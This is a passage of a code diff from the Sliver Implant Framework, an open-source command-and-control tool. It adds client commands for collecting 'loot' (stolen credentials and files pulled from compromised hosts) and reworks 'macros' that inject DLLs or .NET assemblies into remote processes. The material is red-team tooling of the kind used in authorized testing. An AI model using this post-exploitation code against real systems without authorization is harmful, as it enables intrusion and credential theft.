if _, err := os.Stat(localPath); os.IsNotExist(err) {
con.PrintErrorf("Path '%s' not found\n", localPath)
return
}
name := ctx.Flags.String("name")
if name == "" {
name = path.Base(localPath)
}
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s\n", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
lootFileTypeStr := ctx.Flags.String("file-type")
var lootFileType clientpb.FileType
if lootFileTypeStr != "" {
lootFileType, err = lootFileTypeFromHumanStr(lootFileTypeStr)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else {
if isTextFile(localPath) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
data, err := ioutil.ReadFile(localPath)
if err != nil {
con.PrintErrorf("Failed to read file %s\n", err)
return
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(localPath),
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading loot from %s", localPath), ctrl)
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
}
+410
View File
@@ -0,0 +1,410 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"io"
"io/ioutil"
"os"
"path"
"strings"
"text/tabwriter"
"unicode/utf8"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// LootCmd - The loot root command
func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
var err error
if filter == "" {
allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to fetch loot %s\n", err)
return
}
} else {
lootType, err := lootTypeFromHumanStr(filter)
if err != nil {
con.PrintErrorf("Invalid loot type see --help")
return
}
allLoot, err = con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
if err != nil {
con.PrintErrorf("Failed to fetch loot %s\n", err)
return
}
}
if filter == "" {
PrintAllLootTable(con.App.Stdout(), allLoot)
} else {
lootType, _ := lootTypeFromHumanStr(filter)
switch lootType {
case clientpb.LootType_LOOT_FILE:
PrintAllFileLootTable(con.App.Stdout(), allLoot)
case clientpb.LootType_LOOT_CREDENTIAL:
PrintAllCredentialLootTable(con.App.Stdout(), allLoot)
}
}
}
// PrintLootFile - Display the contents of a piece of loot
func PrintLootFile(stdout io.Writer, loot *clientpb.Loot) {
if loot.File == nil {
return
}
fmt.Fprintln(stdout)
if loot.File.Name != "" {
fmt.Fprintf(stdout, "%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
}
if loot.File.Data != nil && 0 < len(loot.File.Data) {
if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
fmt.Fprintf(stdout, "%s", string(loot.File.Data))
} else {
fmt.Fprintf(stdout, "<%d bytes of binary data>\n", len(loot.File.Data))
}
} else {
fmt.Fprintf(stdout, "No file data\n")
}
}
func PrintLootCredential(stdout io.Writer, loot *clientpb.Loot) {
stdout.Write([]byte("\n"))
switch loot.CredentialType {
case clientpb.CredentialType_USER_PASSWORD:
if loot.Credential != nil {
fmt.Fprintf(stdout, "%s User:%s %s\n", console.Bold, console.Normal, loot.Credential.User)
fmt.Fprintf(stdout, "%sPassword:%s %s\n", console.Bold, console.Normal, loot.Credential.Password)
}
if loot.File != nil {
PrintLootFile(stdout, loot)
}
case clientpb.CredentialType_API_KEY:
if loot.Credential != nil {
fmt.Fprintf(stdout, "%sAPI Key:%s %s\n", console.Bold, console.Normal, loot.Credential.APIKey)
}
if loot.File != nil {
PrintLootFile(stdout, loot)
}
case clientpb.CredentialType_FILE:
if loot.File != nil {
PrintLootFile(stdout, loot)
}
default:
fmt.Fprintf(stdout, "%v\n", loot.Credential) // Well, let's give it our best
}
}
// Any loot with a "File" can be saved to disk
func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
if loot.File == nil {
return "", errors.New("Loot does not contain a file")
}
saveTo := ctx.Flags.String("save")
fi, err := os.Stat(saveTo)
if err != nil && !os.IsNotExist(err) {
return "", err
}
if err == nil && fi.IsDir() {
saveTo = path.Join(saveTo, path.Base(loot.File.Name))
}
if _, err := os.Stat(saveTo); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return "", nil
}
}
err = ioutil.WriteFile(saveTo, loot.File.Data, 0600)
return saveTo, err
}
// PrintAllLootTable - Displays a table of all loot
func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
return
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
}
table.Flush()
fmt.Fprintf(stdout, outputBuf.String())
}
// PrintAllFileLootTable - Displays a table of all file loot
func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
return
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tFile Name\tSize\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("Size")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
if loot.Type != clientpb.LootType_LOOT_FILE {
continue
}
size := 0
name := ""
if loot.File != nil {
name = loot.File.Name
size = len(loot.File.Data)
}
fmt.Fprintf(table, "%s\t%s\t%s\t%d\t%s\t\n",
fileTypeToStr(loot.FileType),
loot.Name,
name,
size,
loot.LootID,
)
}
table.Flush()
fmt.Fprintf(stdout, outputBuf.String())
}
// PrintAllCredentialLootTable - Displays a table of all credential loot
func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
return
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUser\tPassword\tAPI Key\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("User")),
strings.Repeat("=", len("Password")),
strings.Repeat("=", len("API Key")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
if loot.Type != clientpb.LootType_LOOT_CREDENTIAL {
continue
}
fileName := ""
if loot.File != nil {
fileName = loot.File.Name
}
user := ""
password := ""
apiKey := ""
if loot.Credential != nil {
user = loot.Credential.User
password = loot.Credential.Password
apiKey = loot.Credential.APIKey
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
credentialTypeToString(loot.CredentialType),
loot.Name,
user,
password,
apiKey,
fileName,
loot.LootID,
)
}
table.Flush()
fmt.Fprintf(stdout, outputBuf.String())
}
func lootTypeToStr(value clientpb.LootType) string {
switch value {
case clientpb.LootType_LOOT_FILE:
return "File"
case clientpb.LootType_LOOT_CREDENTIAL:
return "Credential"
default:
return ""
}
}
func credentialTypeToString(value clientpb.CredentialType) string {
switch value {
case clientpb.CredentialType_API_KEY:
return "API Key"
case clientpb.CredentialType_USER_PASSWORD:
return "User/Password"
case clientpb.CredentialType_FILE:
return "File"
default:
return ""
}
}
func fileTypeToStr(value clientpb.FileType) string {
switch value {
case clientpb.FileType_BINARY:
return "Binary"
case clientpb.FileType_TEXT:
return "Text"
default:
return ""
}
}
func lootFileTypeFromHumanStr(value string) (clientpb.FileType, error) {
switch strings.ToLower(value) {
case "b":
fallthrough
case "bin":
fallthrough
case "binary":
return clientpb.FileType_BINARY, nil
case "t":
fallthrough
case "utf-8":
fallthrough
case "utf8":
fallthrough
case "txt":
fallthrough
case "text":
return clientpb.FileType_TEXT, nil
default:
return -1, ErrInvalidFileType
}
}
func lootTypeFromHumanStr(value string) (clientpb.LootType, error) {
switch strings.ToLower(value) {
case "c":
fallthrough
case "cred":
fallthrough
case "creds":
fallthrough
case "credentials":
fallthrough
case "credential":
return clientpb.LootType_LOOT_CREDENTIAL, nil
case "f":
fallthrough
case "files":
fallthrough
case "file":
return clientpb.LootType_LOOT_FILE, nil
default:
return -1, ErrInvalidLootType
}
}
// Taken from: https://cs.opensource.google/go/x/tools/+/refs/tags/v0.1.4:godoc/util/util.go;l=69
// textExt[x] is true if the extension x indicates a text file, and false otherwise.
var textExt = map[string]bool{
".css": false, // Ignore as text
".js": false, // Ignore as text
".svg": false, // Ignore as text
}
// isTextFile reports whether the file has a known extension indicating
// a text file, or if a significant chunk of the specified file looks like
// correct UTF-8; that is, if it is likely that the file contains human-
// readable text.
func isTextFile(filePath string) bool {
// if the extension is known, use it for decision making
if isText, found := textExt[path.Ext(filePath)]; found {
return isText
}
// the extension is not known; read an initial chunk
// of the file and check if it looks like text
f, err := os.Open(filePath)
if err != nil {
return false
}
defer f.Close()
var buf [1024]byte
n, err := f.Read(buf[0:])
if err != nil {
return false
}
return isText(buf[0:n])
}
// isText reports whether a significant prefix of s looks like correct UTF-8;
// that is, if it is likely that s is human-readable text.
func isText(sample []byte) bool {
const max = 1024 // at least utf8.UTFMax
if len(sample) > max {
sample = sample[0:max]
}
for i, c := range string(sample) {
if i+utf8.UTFMax > len(sample) {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
// decoding error or control character - not a text file
return false
}
}
return true
}
+114
View File
@@ -0,0 +1,114 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"path"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
remotePath := ctx.Args.String("path")
name := ctx.Flags.String("name")
if name == "" {
name = path.Base(remotePath)
}
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Path: remotePath,
})
if err != nil {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
}
+51
View File
@@ -0,0 +1,51 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// LootRenameCmd - Rename a piece of loot
func LootRenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
loot, err := SelectLoot(ctx, con.Rpc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
oldName := loot.Name
newName := ""
prompt := &survey.Input{Message: "Enter new name: "}
survey.AskOne(prompt, &newName)
loot, err = con.Rpc.LootUpdate(context.Background(), &clientpb.Loot{
LootID: loot.LootID,
Name: newName,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Renamed %s -> %s\n", oldName, loot.Name)
}
+42
View File
@@ -0,0 +1,42 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
func LootRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
loot, err := SelectLoot(ctx, con.Rpc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.LootRm(context.Background(), loot)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Println()
con.PrintInfof("Removed loot from server\n")
}
+4
View File
@@ -0,0 +1,4 @@
Extensions
===========
Wraps external DLLs/tool in Sliver console commands.
@@ -1,4 +1,4 @@
package command
package macros
/*
Sliver Implant Framework
@@ -28,21 +28,22 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/help"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]extension
var commandMap map[string]macro
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
@@ -54,24 +55,24 @@ type binFiles struct {
Ext32Path string `json:"x86"`
}
type extFile struct {
type macroFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
ExtensionFiles []extFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
type macroCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
MacroFiles []macroFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
@@ -79,24 +80,24 @@ func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err
return
}
type extension struct {
Name string `json:"extensionName"`
Commands []extensionCommand `json:"extensionCommands"`
type macro struct {
Name string `json:"macroName"`
Commands []macroCommand `json:"macroCommands"`
Path string
}
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.ExtensionFiles {
for _, ef := range c.MacroFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
case "x64":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
default:
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
}
}
}
@@ -104,65 +105,62 @@ func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch
}
}
if filePath == "" {
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no extension command found for name %s", name)
err = fmt.Errorf("no macro command found for name %s", name)
return
}
func load(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
// LoadMacroCmd - Locally load a macro into the Sliver shell.
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(ctx.Args) != 1 {
fmt.Printf(Warn + "Please provide an extension path\n")
return
}
dirPath := ctx.Args.String("dir-path")
// retrieve extension manifest
manifestPath := fmt.Sprintf("%s/%s", ctx.Args[0], "manifest.json")
// retrieve macro manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
fmt.Printf(Warn+"%v", err)
con.PrintErrorf("%s\n", err)
}
// parse it
ext := &extension{}
ext := &macro{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
fmt.Printf(Warn+"error loading extension: %v", err)
con.PrintErrorf("Error loading macro: %v", err)
return
}
ext.Path = ctx.Args[0]
// for each extension command, add a new app command
ext.Path = dirPath
// for each macro command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
fmt.Printf(Warn+"%s command already exists\n", extCmd.Name)
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
fmt.Printf(Info+"Adding %s command: %s\n", extCmd.Name, extCmd.Help)
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
ctx.App.AddCommand(&grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
AllowArgs: extCmd.AllowArgs,
macroCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
fmt.Println()
runExtensionCommand(extCtx, rpc)
fmt.Println()
con.Println()
runMacroCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
@@ -176,51 +174,52 @@ func load(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.ExtensionHelpGroup,
})
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.MacroHelpGroup,
}
con.App.AddCommand(macroCmd)
}
fmt.Printf(Info+"%s extension has been loaded\n", ext.Name)
con.PrintInfof("%s macro has been loaded\n", ext.Name)
}
func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name)
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
var args string
if len(c.DefaultArgs) != 0 {
args = c.DefaultArgs
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
if ctx.Command.AllowArgs {
if len(ctx.Args) > 0 {
args = strings.Join(ctx.Args[0:], " ")
}
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
}
@@ -230,23 +229,27 @@ func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
fmt.Printf(Warn+"%s", err.Error())
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
go spin.Until(msg, ctrl)
executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: ActiveSession.Request(ctx),
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: args,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
@@ -256,61 +259,64 @@ func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
con.PrintErrorf("%s\n", err)
return
}
fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput()))
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
go spin.Until(msg, ctrl)
spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: ActiveSession.Request(ctx),
Args: strings.Trim(args, " "),
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
con.PrintErrorf("%s\n", err)
return
}
fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult())
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
go spin.Until(msg, ctrl)
sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: ActiveSession.Request(ctx),
Args: args,
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
con.PrintErrorf("%s\n", err)
return
}
fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult())
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
@@ -325,5 +331,5 @@ func cmdExists(name string, app *grumble.App) bool {
}
func init() {
commandMap = make(map[string]extension)
commandMap = make(map[string]macro)
}
Loaded 100 of 1620 files, more files were not shown because too many files have changed in this diff. Show more